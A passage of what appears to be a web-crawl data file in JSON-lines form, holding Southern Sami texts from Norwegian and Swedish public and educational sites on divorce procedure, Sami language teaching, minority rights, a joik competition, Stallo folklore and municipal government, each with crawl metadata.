\"Snåsamanden\".\nMåjhtah man gellie gööleme-jaevrieh Snåasen tjïeltesne?\nKan du huske, hvor mange fiskesøer der er i Snåsa Kommune?\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1+10+12+14+16+18+24: Anita Dunfjeld Aagård\nS4: Commons.wikimedia.org\nS6: Saemien Sïjte\nS8: Even Jarl Skoglund - commons.wikimedia.org\nS20: Klevsand - commons.wikimedia.org\nS22: Bjarne Thune - commons.wikimedia.org","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/d113.web.wwi.dk\/is\/node\/1045?sourcelang=ssme&comparelang=da&page=11","date":"2019-10-21T15:40:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987779528.82\/warc\/CC-MAIN-20191021143945-20191021171445-00101.warc.gz","language":"sma","language_score":0.7490696907,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 0.7490696907043457, \"sme_Latn_score\": 0.23743343353271484}","num_words":366,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.878,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Separasjovne jïh juakadimmie\nSeparasjovne\nPaarrebielieh mah eah sïjhth ektiejieledem jåerhkedh, maehtieh separasjovnen bïjre syökedh. Ohtseme separasjovnen bïjre edtja Fylhkenålmese seedtesovvedh dennie fylhkesne gusnie dijjieh minngemes aejkien ektesne årroejidh. Jis gåabpatjahkh daehtie fylhkeste jåhteme, edtjede ohtsemem Fylhkenålmese seedtedh dennie fylhkesne gusnie akte dijjeste daelie orre. Jis dijjieh maanah ektesne utnede nuelelen 16 jaepien båeries, tjoerede aktem vihtiestimmiem deanahtimmien bïjre buektedh mij ij leah båarasåbpoe goh 6 askh. Dijjieh separasjovneluhpiem Fylhkenålmeste åadtjode.\nJuakadimmie\nGosse akte jaepie vaaseme mænngan dijjieh separasjovneluhpiem åadtjoejidh, dle fïereguhte dotneste maahta juakadimmiem krïevedh. Jis ajve akte dijjeste juakadimmiem sæjhta, dle dïhte maahta krïevedh juakadimmiem åadtjodh, jalhts dïhte mubpie ij dam sïjhth.\nFïereguhte maahta aaj juakadimmiem krïevedh dastegh juehkelde vyöseme unnemes göökte jaepieh. Jis guejmieh sïemes dah sinsitneste vyöseme unnemes göökte jaepieh, dle Fylhkenålma ohtsemem juakadimmien bïjre gïetede. Jis guejmieh ovgeahpan dan bïjre, dle dåapmestovle tjuara juakadimmie-aamhtesem gïetedidh.\nSeparasjovnem hiejhtedh\nGuejmieh mah separasjovneluhpiem åådtjeme, men mah ektesne juhtieh vihth, tjuerieh bieljelimmiem seedtedh dah separasjovnem hiejhteme. Daam bieljelimmiem skaehtiekontovrese seedtede, mij dotnen sivijle staatusem jeatjahtahta.\nOhtseme jååhkesjimmien bïjre ålkoelaanten juakadimmeste jïh separasjovneste\nGåessie daerpies jååhkesjimmien bïjre Fylhkenålmeste syökedh?\nJis datne ålkoelaantesne juakadamme jïh edtjh vihth pruvredh, dle Fylhkenålma tjuara dam ålkoelaanten juakadimmiem jååhkesjidh. Skaehtieetaate sæjhta krïevedh daate jååhkesjimmie lea öörnegisnie jis edtja ohtsemh gïetedidh pryövemevihtienassen bïjre juktie pruvredh.\nJis datne separeradamme ålkoelaantesene, dle Fylhkenålma tjuara separasjovnem jååhkesjidh åvtelen satne maahta ohtsemem juakadimmien bïjre gïetedidh. Datne ohtsemem Fylhkenålmese seedth dennie fylhkesne datne årroeh.\nVihtiestimmiekrievenassh\n• Juakadimmie- jallh separasjovnedåapme (vihtienasse), dïhte rïektes jallh kopije, tjuara vihtiestamme årrodh advokaateste, byögkeles dïenesjeålmeste jallh profesjovnelle kopijeradimmiesïelteste. Juakadimmietjaatsege tjuara legaliseradamme årrodh jïh aaj apostillesteempelem utnedh.\n• Dastegh juakadimmie- jallh separasjovnedåapme (vihtienasse) lea aktene jeatjah gïelesne goh eengelske, tyske jallh fraanske gïelesne, akte staateautoriseradamme jarkoestæjja tjura dam jarkoestidh. Jarkoestimmie, rïektes jallh kopije, tjuara vihtiestamme årrodh aktede advokaateste, byögkeles dïenesjeålmeste jallh profesjovnelle kopijeradimmiesïelteste.\nKrïevenasse akten minngemosth juakadimmie- jallh separasjovnedåapmese.\nTjuara tjaalasovveme årrodh dåapmesne jallh aktene jeatjah jååhkesjamme tjaatsegisnie dåapmestovleste, daate dåapme reaktafaamosne.\nJuakadimmie jïh separasjovne aktede jeatjah noerhtelaanti laanteste\nIj edtjh Fylhkenålma separasjovnem jallh juakadimmiem jååhkesjidh jis gåabpatjahkh lin noerhtelaanti staateårrojh, jïh adressem utnin aktene noerhtelaanti laantesne ohtsememieresne. Dellie separasjovne jallh juakadimmietjaatsege ryöktesth Skaehtieetaatese seedtesåvva, mij orre sivijlestatusem vïhtesjadta.\nFylhkenålma tjuara juakadimmim jallh separasjovnem jååhkesjidh dastegh akte dejstie guejmijste idtji veasoeh gænnah, jallh lij staateårroejinie aktene noerhtelaanti laantesne ohtsememieresne.\nDåapme ålkoelaanten dåapmestovleste hiejhtemen bïjre provrenasseste\nFylhkenålma aaj ohtsemh gïetede jååhkesjimmien bïjre hiejhteme provrenassijste. Hiejhteme sæjhta jiehtedh akte ålkoelaanten dåapmestovle ij provrenassem luhpedh. Daejnie aamhtesinie dle vihtiestimmiekrïevenassh jïh krïevenassh akten minngemosth (reaktafååmijes) nænnoestimmien bïjre dah seamma goh ålkoelaanten juakadimmine.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.fylkesmannen.no\/sma\/Almetjh-jih-siebriedahke\/Separasjovne-jih-juakadimmie\/","date":"2019-10-16T11:15:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986666959.47\/warc\/CC-MAIN-20191016090425-20191016113925-00101.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":406,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vueliegaahtjemen tjïrrh, Saemiedigkie NRK Sápmine ektine, sæjhta vueliem jïh saemien gïelh åvtese lutnjedh goh bielie saemien gïelelåhkoste 2019.\n– Gaajhkesh mah sijhtieh maehtieh vueliem darjodh gïelelutnjemasse, Saemiedigkien goevtesedirektööre Anne Britt K. Hætta jeahta.\nVuelie edtja guvviem vedtedh saemien gïelijste, saemien siebriedahkeste jallh gïelelutnjemistie.\n– Vuelie viehkehte gïelem lutnjedh. Vuelie bielie saemien kultuvreste, jïh saemien aerpievuekijste. Dan åvteste vuelie vihkeles gosse edtja gïelem eevtjedh, Hætta jeahta.\nMaahtah joejkedh jïh åenehks raajesh vualan darjodh. Edtja aerpievuekien saemien vueline årrodh, musihken namhtah.\nPreemije lea 20 000 nöörjen kråvnah.\nVuelie maahta ryöhkedh golme minudti raajan.\nMierie juktie vueliem vueliegaahtjemasse seedtedh lea golken 6.b.\nVuelieh mah finaalese båetieh sïjhtebe bæjhkoehtidh golken 9.b. Dan mænngan maahtah vuelide goltelidh jïh dov steemmam vedtedh dov lyjhkedevualan. Steemmadimmie vaasa golken 16.b. raajan.\nSïjhtebe vitnijevueliem bæjhkoehtidh dæjstan, golken 22.b.\nNaemhtie vueliem sïjse seedth\nDatne vueliem darjoeh. Ij guhte leah vueliem byögkeles bæjhkoehtamme aarebi.\nDatne jïjtjemdh filmedh mobijletellefovnine gosse joejkh.\nDan mænngan tjaangh: https:\/\/bidra.nrk.no\/joik jïh dov videovestuhtjem sïjse leessh jïh seedth.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Darjoeh-vueliem-jih-vitnh-20-000-kraavnah","date":"2019-10-13T22:17:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648343.8\/warc\/CC-MAIN-20191013221144-20191014004144-00298.warc.gz","language":"sma","language_score":0.9999830723,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999830722808838}","num_words":155,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dastegh skuvleaajhtere ij maehtieh lïerehtimmiem vedtedh saeien gïelesne jïjtse lohkehtæjjajgujmie, learohkh reaktam utnieh alternatijve lïerehtimmiehammoeh åadtjodh. Alternatijve hammoeh maehtieh årrodh maajhööhpehtimie, intensijve ööhpehtimmie jallh sjïere gïelebiesieh, v. Ööhpehtimmielaakine § 6-2 vïjhtede lïhtse jih § 6-3 voestes lïhtse jïh mieriedimmie ööhpehtimmielaakese § 7-1.\nMaajhööhpehtimmie lea akte alternatijve lïerehtimmiehammoe maam edtja ajve nuhtjedh dej veajkoej skuvleaajhtere ij maehtieh lohkehtæjjam skååffedh mij maahta saemiengïelesne ööhpehtidh. Daan biejjien maajhööhpehtimmiefaalenasse gååvnese saemien gïelesne dovne maadthskuvlese jïh jåarhkelïerehtæmman. Skuvleaajhteren lea dïedte tæjmoej bïjre syökedh jïh maajhööhpehtimmiem juhtiehtidh.\nMaahtoedepartemeente lea jïjtse Rammeverk for samisk fjernundervisning hammoedamme.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Maajhoeoehpehtimmie-alternatijve-lierehtimmie-saemien-gielesne","date":"2019-10-22T22:02:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00154.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":83,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonelle unnebelåhkoeh\nDatne akte Sveerjen vïjhte nasjonelle unnebelåhkojste; judarh, romerh, sveerjesåevmieladtjh, saemieh jïh torneladtjh? Dellie datne tjarkebe reaktah jïh nuepieh åtnah dov govlesadtemisnie mijjine.\nDatne reaktam åtnah dov reaktaj bïjre beavnasåvva, seamma mij nasjonelle unnebelåhkoegïelide datne soptsesth jïh gusnie Sveerjesne årroeh. Datne gie tjïeltesne årroeh reeremedajvesne aaj reaktam åtnah dov gïeline mijjine dovne njaalmeldh jïh tjaaleldh gaskesadtedh.\nMijjieh dov gïelem jïh kultuvrem vaarjelidh jïh evtiedidh\nMijjieh edtjebe dejtie nasjonelle unnebelåhkoegïelide vaarjelidh jïh evtiedidh jïh evtiedibie daejtie nasjonelle unnebelåhkoej nuepide dej kultuvrem gorredidh jïh evtiedidh Sveerjesne, maanaj evtiedimmieh kulturelle identiteetem jïh dej jïjtje unnebelåhkoegïelem nuhtjedh edtjebe sjïere vuekine evtiedidh.\nMijjieh edtjebe aaj dejtie nasjonelle unnebelåhkojde nuepieh tsevtsiemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh jïh sjïehteleslaakan unnebelåhkoej saadthalmetjigujmie dagkeri gyhtjelassine råårestalledh.\nLaake nasjonelle unnebelåhkoej bïjre faamosne abpe Sveerjesne jïh dan sisvege lea:\nEdtja unnebelåhkoegïelide vaarjelidh jïh evtiedidh\n- Dah nasjonelle unnebelåhkoeh edtjieh sov kultuvrem gorredidh jïh evtiedidh\n- Reeremeåejvieladtjh dïedtem utnieh bievnedh unnebelåhkoej reaktaj bïjre jïh tsevtsiemasse vedtedh jïjtje gyhtjelasside råårestalledh\nLeeneståvroe Stuehkesne jïh Saemiedigkie dïedtem ektesne utnieh ektiedidh jïh vaaksjodh guktie Sveerjen unnebelåhkoepolitihke tjïrrehtidh laanten tjïeltine. Saemiedigkie dïedtem åtna saemide jïh Leeneståvroe Stuehkesne dïedtem åtna judaridie, romeridie, sveerjesåevmieladtjide jïh torneladtjide.\nLaake nasjonelle unnebelåhkoej jïh unnebelåhkoejgïeli bïjre\nLaake nasjonelle unnebelåhkoej bïjre faamosne abpe Sveerjesne jïh jeahta unnebelåhkoegïelide edtja vaarjelidh jïh evtiedidh, dah nasjonelle unnebelåhkoeh edtjieh maehtedh dej kultuvrem gorredidh jïh evtiedidh jïh reeremeåejvieladtjh dïedtem utnieh unnebelåhkoej reaktah bïevnedh jïh tsevtsemem vedtedh jïjtje gyhtjelasside råårestalledh.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.lansstyrelsen.se\/kalmar\/other-languages\/minoritetssprak\/sydsamiska----nasjonelle-unnebelahkoeh.html","date":"2019-10-23T13:55:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987833766.94\/warc\/CC-MAIN-20191023122219-20191023145719-00114.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":215,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":230,"character_repetition_ratio":0.158,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse jåarhkeskovlem vaedtsedh, dellie ij vielie maehtieh saemien skovleinternatesne årrodh. Tjoevere gietskemes staarese vuelkedh jih desnie gåetieluhpiem leejedh. Jis aavrehke, dle sjiehteles gåetieluhpiem gaavna, gusnie maahta abpe skovlejaepiem murriedidh.\nJijnjem daarpesje gåeteste meatan vaeltedh gosse edtja oktegh leejemegåetesne, jallh daaroen jiehtsh \\»hybelisnie\\» årrodh. Åeremevaarjoeh, lihtieh jih jeatjah deerpegh. Jih dellie gærjah, tjaeleme- jih jeatjah skovle- deerpegh tjoevere åestedh.\nJih gosse orre skovlejaepie, dellie orre vaarjoeh dovne daerpies. Dæjmetje vaarjoeh maehtieh joe napkeme, onne sjidteme jallh \\»dæjpeletje\\» sjidteme. Ij leab gujht luste dæjpeletje vååjnedh. Nimhtie gujht maahta naa dovrehke sjidtedh skovleh vaedtsedh. Mohte daelie hov amma nøørie beetnegh løønedh mejnie jeala mearas skovleh vaadtsa.\nGosse skovli jih learoej gujmie galhkeme jih barkoem gaavneme, dellie maahta bååstede maeksedh maam løøneme.","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/sijtijarnge.no\/jaaarhkeskovle\/","date":"2019-10-16T03:25:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986661296.12\/warc\/CC-MAIN-20191016014439-20191016041939-00375.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":118,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staaloe gellie saemien soptsesisnie gååvnese. Daennie sæjrosne maahtah staaloen bïjre lohkedh. Tjaalege lea gærjeste \"Staaloeh vienhtieh aske lea dålle\" maam Kirsti Birkeland tjaaleme. Ella Holm Bull lea tjaalegem åarjelsaemien gïelese jarkoestamme.\nStaaloe\nStaaloe lij alvas tjuvrie, bovtse ruavere jïh almetjen-bårrije. Gosse staaloe gïetskesisnie, eah leah dellie guhte seadtosne. Dïhte guhte dejnie åehpies dïhte aktetje-leejne daajra: destie hïegkem vaeltedh, seamma magkeres maaksoe.\nDejpeli lin staaloeh aelien, læjhkan idtjin maehtieh sjeavodh årrodh: Seamma gogkoe böötin dellie leavadin, skaalterdin, njårkoejin jïh plïjhtjin. Jis lin måeresne dellie stoerre moerh meehtin tsåapkodh. Guktie guarkah staaloe lij bïegkesne jïh værtosne.\nlj lij saemien-maanide luhpieh njårkodh, juktie dillie staaloem gåvhkoehtin.\nGosse staaloe almetjem bårreme, dillie ij lij vielie aelien. Dan mænngan jïjtjemse goh jïekngem vuesiehti, jïeknge faamoejgujmie jïh jïeknge byöpmijes, jïh aaj goh dejpeli vijkingh, åesies-maennieh, skaehtie-krïevijh vååjni. Staaloe sïjhti rïeseldihkie årrodh, garmeres Iij jïh ræjhkoes. Sïjhti aaj jïjtjedh faamojde vuesiehtidh.\nStaaloen kåanste lij gåhkese bæjjese njulhtjedh, gierkieh gïetigujmie njeervedh jïh löövles aath sleengkedh. Iktesth aaksjoem jïh moere-klabpam meatan utni, dïeve beetneh-bongkem (naakenh vienhtieh dïeve voessem utni), jïh bïenjem man nomme Ragk, Raagke jallh Hompe.\nSaemide lij gyöhpehke staalojde nulliehtidh juktie dej dan löövles jïh sööjmes åssjalommesh.\nStaaloej bööremes beapmoeh lin tsååbph, njålhtjehkh jïh saemien maanah. Jis beapmose hååsketjh jallh govnetjh böötin, dellie dejtie olkese bïenjide vedtin. Dïhte guhte hïegkem staaloste sïjhti vaeltedh, dïhte tjoeri ajve akten aejkien tsaepmedh, voen staaloe ajve veaksahkåbpoe sjïdti.\nGosse staaloem tsaepmiestamme, dellie dïhte stille gællan sjïdti jïh idtji voejhkelh tjuedtjielidh aerebi saemie dam bovvestamme. Staaloen tæjhkoem tjoerin dallah tjaesniestidh aerebi goh dïhte staaloste vïrrem åadtjoeji skeenedh, jis ojhte, staaloe vihth jielije sjïdti.\nSaemieh deejrin miehtjies dajvesne lij jïermijes ektesne, stoerre fuelhkine årrodh. ldtjin staaloeh dam guarkah. Fïerhte fuelhkie oktebisnie veasoeminie, guhkede jeatjah staalojste.\nGaajhkh meehtin jïjtjemse staalojne darjodh, dïhte lij isvelihke: Jis ååredæjjam jïh åejjiem bissi mearan kristemem jïh kroessem slijhti, jïh dam gyrhkesjimmien jallh aaj aejlegs biejjien darjoeji, dellie staalojne sjïdti. Dan mænngan dan jïjnjem båajhtedem meehti darjodh, idtji annje gåessie gænnah nåhkh.[1]\n- 1«Staaloeh vienhtieh aske lea dålle». Birkeland, Kirsti. Cappelen forlag. 2002.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\n- Kjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:127997","date":"2019-11-13T01:17:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665809.73\/warc\/CC-MAIN-20191112230002-20191113014002-00377.warc.gz","language":"sma","language_score":0.9998956919,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9998956918716431}","num_words":448,"character_repetition_ratio":0.135,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jååkt'iehkeden tsåahka 17.30 Saemiedigkie almetjetjåanghkoem Röörosen Hotellesne öörni. Aamhtesh dunnie tjåanghkosne lin guktie Röörose reeremedajvine orreme jïh maam Röörosen tjïelte, almetjh jïh Saemiedigkie daelie edtjieh darjodh. Åvtehke byjjenimmie-, hokse- jïh ööhpehtimmiemoenehtsisnie jïh lïhtsege Saemien parlamentarihkeles raeresne, Márjá-Liissá Partapuoli daate tjåanghkoen bïjre jeehti:\n-Joekoen hijven gåeredi. Gellieh almetjh böötimh jïh mijjieh gellieh åssjalommesh åadtjoejimh mij lea buerie jïh ij daan soe buerie, jïh aaj mij edtja buerebe sjidtedh jïh man bïjre byörebe vielie barkedh.\nPartapuoli aaj ussjede lij aevhkies Saemiedigkese råekedh almetjh daennie dajvesne mejtie buektiehtieh åarjelsaemiengïelem soptsestidh. Dïhte ussjede lea vihkeles Saemiedigkese juktie dellie Saemiedigkie maahta vielie politihkeles åarjelsaemien aamhetsi åvteste barkedh. Juktie lea vihkeles Saemiedigkie maahta gaajhki saemiej åvteste soptsestidh jïh barkedh. Stoerre eatnemelearoen mietie noerthelistie åarjese Saepmesne jïh dannasinie Partapuoli ussjede Saemiedigkie daarpesje vielie maahtoe guktie gïeletsiehkie lea daennie dajvesne.\n-Tjåanghkosne tjïelke sjidti ihke åarjelsaemien gïeleööhpehtimmie tjuara buerebe sjidtedh. Lea aktem stoerre dåeriesmoere gaahkine reeremedajvine Saepmesne ahte lea daerpies vielie peedagogide jïh gïelevierhtide utnedh. Numhtie lea vaenie peedagogh jïh gïelevierhtieh daaroedehtemen gaavhtan. Lea jïjnjh barkoeh aajmene åvtelen båetebe gåabph sïjhtebe båetedh. Gïelereeremedajven åssjaldahkine voestes sïlle lea saemien maanajgiertide tseegkedh.\nPartapuoli gegkeste tjïelte nuhtjie daejtie vierhtide mejtie daennie dajvesne gaavnoes. Dïhte jeahta lea buerie åarjelsaemien maahtoeh daennie tjïeltesne jïh dïhte vuarta Röörosen tjïelte modtele. Juktie tjïelten joekoen ulmie edtja årrodh ietniengïelelearohkidie jïh ietniengïeleutnijidie evtiedidh. Minngemosth Partapuoli sæjhta jiehtedh ahte Röörosen tjïelte byöroe jeatjah reeremedajvijste lïeredh mah dah leah dorjeme.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/rorosnytt.no\/marja-liissa-partapuoli-lij-madtjeles-jih-geerjene-almetjetjaanghkoen-avteste\/","date":"2019-11-17T23:30:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669352.5\/warc\/CC-MAIN-20191117215823-20191118003823-00338.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":229,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Joekedh jïjtjedh soptsesem\nJis sïjhth båajhtoehvoeth jallh jïjtjedh dååjrehtsidie reektedh Nöörjen reeremasse, mah daaroedehteme-politihkeste båatmee, dellie maahtah daam soptsestalleme-goeremnuhtjedh.\nKommisjovne galka almetji dååjrehtsidie jïh soptsesidie åvtese buektedh, jïh gïehtjedidh ahte almetjh åadtjoeh nuepiem joekedidh, jïh jïjtsh dååjrehtsidie, soptsesidie soptsestidh. Jis aaj mij joem båajhtode dov laevien, vuj maadtoen jïh slïekten vööste dellie edtjh nuepiem åadtjodh soptsestidh dan bïjre. Guktie dååjrehtalleme, jïh guktie jieledem dïjpeme.\nNov aaj maahtah rïekte sekretariaatese bïeljelidh, teelefovnnine vuj e-påastine, jïs viehkiem daarpesjh.\nBïevnesh mah båetieh tjåadtjodh daennie leahpesne, sjædta goh biehkie Saetniesvoete- jïh liktedimmiekommisjovnen maadthvåaromisnie. Jïh maahta åvtese båetedh reektedimmesne vuj dotkemisnie. Gihtjijibie bïevnedæjjide luhpiem dejtie soetide nuhtjedh. Aaj gihtjijibie luhpiem bïevnedæjjese ringkedh jïh vielie goerehtalledh.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/uit.no\/kommisjonen\/deldinhistorie_%C3%A5s","date":"2019-11-12T20:39:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496665767.51\/warc\/CC-MAIN-20191112202920-20191112230920-00314.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":110,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nFïerhten njealjeden jaepien lea sïejhme veeljeme. Dellie dah gïeh Orrestaaresne årroeh veeljieh mah politihkerh edtjieh tjïeltereeremisnie tjahkasjidh. Gaajhkesh gïeh leah 18 jaepieh illeme jïh tjïeltesne tjaalasovveme reaktah utnieh veeljemisnie tjaatsestidh tjïeltereeremasse.\nDah åålmegeveeljeme politihkerh sjæjsjalieh tjïelten barkoej jïh dïenesji bïjre. Vuesiehtimmien gaavhtan skuvle, voeresehokse jïh hokse almetjidie heaptojne, sosijaalen dåarjoe, viehkiedïenesje, eejehtimmie, geajnoeh, tjaetsie jïh sjeakome.\nTjïeltereereme\nTjïeltereereme skaehtiej, bijjemes ulmiej jïh budgetten tjïelten barkojde nænnoste jïh aaj tjïelteståvroem jïh moenehtsh nommedahta.\nTjïelteståvroe\nTjïelteståvroe tjïelten barkoem stuvrie, aktene jïh dåårje. Dah aaj politihken dïedtem utnieh tjïelten evtiedimmien jïh ekonomijen åvteste. Tjïelteståvroe raeriem vadta ierine mij tjïeltereereme edtja sjæjsjalidh jïh dïedtem åtna dah sjæjsjalimmide tjïrrehtidh.\nMoenehtsh\nTjïelten moenehtsh politihken dïedtem utnieh barkoej åvteste mah tjïelten årroejidie. Fïerhten moenehtse reereme åtna mij vååksje moenehtsen rååresjimmieh tjïrrehtidh.\nÖöhpehtimmiemoenehtsen dïedte lea aarhskuvlen, eejehtshïejmi, kultuvreskuvlen, teknihkeskuvlen, maadthskuvlen, jåarhkeskuvlen, geerveööhpehtimmien jïh sveerjegïelem sisjuhtiji åvteste.\nSiebriedahkebigkememoenehtsen dïedte lea kultuvren, eejehtimmien, bigkemen, byjresen, healsoen, valkesen, geajnoej, såafoej jïh viehkiedïenesji åvteste.\nSåjhtoemoenehtse jïh humanistijen moenehtse ektesne dïedtem utnieh dåarjoem, hoksem jïh såjhtoem vedtedh daerpiesvoeten mietie, mejtie voereseårroejidie, almetjidie heaptojne mah viehkiem daarpesjieh, dåarjoem vedtedh psykisken ov-healsojne, vaarjelimmieh maanide mah vååregisnie, annjebodts ekonomeles dåarjoem, viehkiem vedtedh miedtiemistie båetedh jallh maam akt jeatjah.\nTjïelten sïelth\nOrrestaaresne tjïelten sïelth gååvnesieh mej dïedte årromesijjiej åvteste (Övikshem), energijen åvteste (Övik energi), tjaetsien, malskoeluejhtemen, sorhpi jïh sorhpeveesmemen åvteste (Miva), girtiesijjien åvteste (Övik Airport) jïh staarhvoebarkoen åvteste (Örnsköldsviks hamn och logistik).","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/bra.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/tjieltejihpolitihke.4.4c4feec515e441a88a91f9b8.html","date":"2019-11-19T22:47:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670268.0\/warc\/CC-MAIN-20191119222644-20191120010644-00154.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":227,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjesne vïjhte nasjovnellen unnebelåhkoeh. Laake unnebelåhkoej jïh unnebelåhkoegïeli bïjre dejtie 